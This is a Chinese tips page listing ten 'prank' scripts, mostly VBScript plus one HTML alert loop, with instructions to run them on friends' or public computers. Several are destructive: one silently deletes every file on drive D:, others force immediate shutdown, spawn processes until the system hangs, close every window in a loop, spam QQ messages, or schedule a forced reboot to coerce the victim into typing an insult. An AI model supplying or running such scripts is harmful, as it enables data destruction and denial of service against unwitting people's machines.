整人代碼大全
操作方法
- 01
【代碼一】
你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱，把下面代碼里的xx替換一下，就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可)。
代碼如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
- 02
【代碼二】
我就用這個(gè)程序放在學(xué)校圖書館查詢書刊的機(jī)器上，好多人都拿它沒辦法。
do
msgbox "You are foolish!"
loop
- 03
【代碼三】
打開無數(shù)個(gè)計(jì)算器，直到死機(jī)。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop - 04
【代碼四】
直接關(guān)機(jī)。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true - 05
【代碼五】
刪除D:\所有文件。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true - 06
【代碼六】
不斷彈出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop - 07
【代碼七】
不斷按下alt+f4（開什么都關(guān)閉）。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop - 08
【代碼八】
按500次回車 （以上代碼在運(yùn)行者的電腦上顯示500個(gè)對話框。其中 do until s=500 ，500可以隨意更改）。
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop - 09
【代碼九】
如果把他發(fā)給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會(huì)在你設(shè)定的
時(shí)間內(nèi)關(guān)機(jī) 我設(shè)置的是3分鐘 只要輸入就解除了 當(dāng)然如果不輸?shù)脑捯灿薪獬霓k法。代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關(guān)機(jī)，不信，試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖" - 10
【代碼十】
網(wǎng)頁整人效果代碼，想看效果，只要復(fù)制這下面的所有代碼保存在text文件里，修改文件后綴為txt就能看到效果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>網(wǎng)頁特效|Linkweb.cn/Js|---很惡心的常見整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('為什么把鼠標(biāo)放到這里?');
alert('我不是說過不可以這樣嗎？');
alert('你把我的話當(dāng)什么了？');
alert('你知道錯(cuò)了嗎？');
alert('什么？你居然....');
alert('居然還沒意識(shí)到自己做錯(cuò)了？');
alert('那好，你要為此付出代價(jià)!');
alert('我要你在這里點(diǎn)足一千下......');
alert('什么？你開始有點(diǎn)后悔了？');
alert('何必呢？');
alert('你當(dāng)初干什么去了？');
alert('不原諒你！');
alert('好從現(xiàn)在開始再點(diǎn)995下......');
alert('你的手開始累了嗎?');
alert('什么？你已經(jīng)沒力氣了？');
alert('你一直在求我原諒你啊！');
alert('看來你是真的知道錯(cuò)了!');
alert('下次你還會(huì)這么做嗎？');
alert('真的不會(huì)了？');
alert('那好，今天就放你一馬！');
alert('寫封信給我說聲對不起!');
alert('你能這么做我很高興!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=對不起,下次不敢了!';">不許把鼠標(biāo)移到這里</a>
</body>
</html>
詞條內(nèi)容僅供參考，如果您需要解決具體問題
（尤其在法律、醫(yī)學(xué)等領(lǐng)域），建議您咨詢相關(guān)領(lǐng)域?qū)I(yè)人士。